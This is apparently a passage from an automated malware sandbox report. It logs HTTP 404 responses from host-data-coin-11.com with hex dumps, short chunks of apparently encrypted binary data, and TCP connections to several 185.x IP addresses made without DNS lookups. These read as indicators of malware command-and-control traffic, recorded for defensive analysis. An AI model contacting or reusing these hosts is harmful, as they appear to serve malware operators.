6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 30 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS0SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 00 53 87 1d f0 f3 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevSf#YJ0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 4f 0a ad 24 c4 d0 66 b1 78 06 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OTevO$fxP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 42 06 8e 51 de c4 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevBQf#YJ0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:06:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 7c 0f a5 54 f2 ba 66 f4 39 1b 1b a4 fc 0d 0a 30 0d 0a 0d 0a Data Ascii: 31I:82OTev\|Tf90

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
